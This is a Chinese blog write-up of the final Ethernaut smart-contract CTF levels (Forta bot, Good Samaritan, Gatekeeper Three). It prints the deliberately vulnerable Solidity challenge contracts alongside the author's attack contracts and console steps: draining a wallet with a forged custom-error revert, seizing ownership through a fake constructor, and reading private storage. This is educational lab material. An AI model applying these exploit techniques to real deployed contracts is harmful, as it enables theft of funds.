部署上述合约后,获得地址0x38977718DC4ed97440060a7cC065FEadC43EF995
,修改合约中的机器人地址:
fortaAddress = await contract.forta()
detectionBotAddress = '38977718DC4ed97440060a7cC065FEadC43EF995'
web3.utils.keccak256('setDetectionBot(address)')
'0x9e927c686457d61946f62ee085aea4bf59c36754253995951bb435ea8d75e9e3'
selector = '0x9e927c68'
param = web3.utils.padLeft(detectionBotAddress, 64)
await web3.eth.sendTransaction({from: player, to: fortaAddress, data: selector + param})
Good Samaritan
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
**通关条件:**将合约Wallet
中的余额变为零。
想要将其清零,要么每次获取10个,要么触发异常,使得wallet.transferRemainder(msg.sender)
能够被执行,前面的方式不现实,因为合约Wallet
中的余额被初始化为$10^6$,而后者关键在于如何能够触发异常。
观察Coin
合约,我们可以知道,当转账方是一个合约账号时候,会尝试运行其notify
函数,也就是说这一点我们是可以控制的。
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface INotifyable {
function notify(uint256 amount) external;
}
contract GoodSamaritanAttack is INotifyable{
error NotEnoughBalance();
address instance public;
constructor(address _instance){
instance = _instance;
}
function attack()public{
(bool success, _) = instance.call(
abi.encodeWithSignature("requestDonation()")
);
require(success);
}
function notify(uint256 amount) external{
if(amount == 10){
revert NotEnoughBalance();
}
}
}
Gatekeeper Three
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
constructor (address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allow_enterance = false;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allow_enterance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allow_enterance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree returns (bool entered) {
entrant = tx.origin;
return true;
}
receive () external payable {}
}
**通关条件:**成功调用enter
,并将entrant
修改为我们的地址。
gateOne
有两个条件对于第二个条件,我们借助一个攻击合约即可,即合约地址作为owner
,攻击合约想要成为owner
,直接调用假的构造函数即可。
对于gateTwo
,我们需要调用getAllowance
函数并传入一个密码,而该秘密存放在合约SimpleTrick
中,虽然是private
类型,但是我们可以通关web3.eth.getStorageAt(address,index)
的方式获取。
对于gateThree
,需要合约GatekeeperThree
中的以太币大于0.001,且要求该合约向owner
,即我们的攻击合约转账时候失败,那我们直接将我们的合约设置成拒绝接收以太币即可,攻击合约如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperThreeAttack{
address public instance;
constructor(address _instance){
instance = _instance;
}
function beOwner()public{
(bool success, bytes memory data) = instance.call(
abi.encodeWithSignature("construct0r()")
);
require(success);
}
function change_allow_enterance(uint pwd)public{
(bool success, bytes memory data) = instance.call(
abi.encodeWithSignature("getAllowance(uint256)", pwd)
);
require(success);
}
function attack()public{
(bool success, bytes memory data) = instance.call(
abi.encodeWithSignature("enter()")
);
require(success);
}
}
部署上面攻击合约后,先调用beOwner
函数,将攻击合约变成GatekeeperThree
的owner
。
然后我们在控制台中,输入以下内容,部署一个SimpleTrick
合约:
await contract.createTrick()
然后获取其地址:
await contract.trick()
// '0xe5CD5D17bA2E5A4d68982FdB47FC28E933d9B5Fa'
获取其内的密码:
await web3.eth.getStorageAt('0xe5CD5D17bA2E5A4d68982FdB47FC28E933d9B5Fa',2)
// '0x0000000000000000000000000000000000000000000000000000000064196c58'
然后调用攻击合约中的change_allow_enterance
,并将0x64196c58
传入,确保allow_enterance
为真
await contract.allow_enterance() == true
然后向GatekeeperThree
转入0.0011以太币,确保到账
await getBalance(instance)
// 0.0011
然后调用攻击合约中的attack
函数,确保调用正常:
await contract.entrant() == player
// true
写在最后
磕磕碰碰,花了一个多月,终于完(chao)成(wan)了所有关卡了,许多关卡设计得挺有意思的,但是有些关卡难度不是一般大😭。
本文由「黄阿信」创作,创作不易,请多支持。
如果您觉得本文写得不错,那就点一下「赞赏」请我喝杯咖啡~
商业转载请联系作者获得授权,非商业转载请附上原文出处及本链接。
关注公众号,获取最新动态!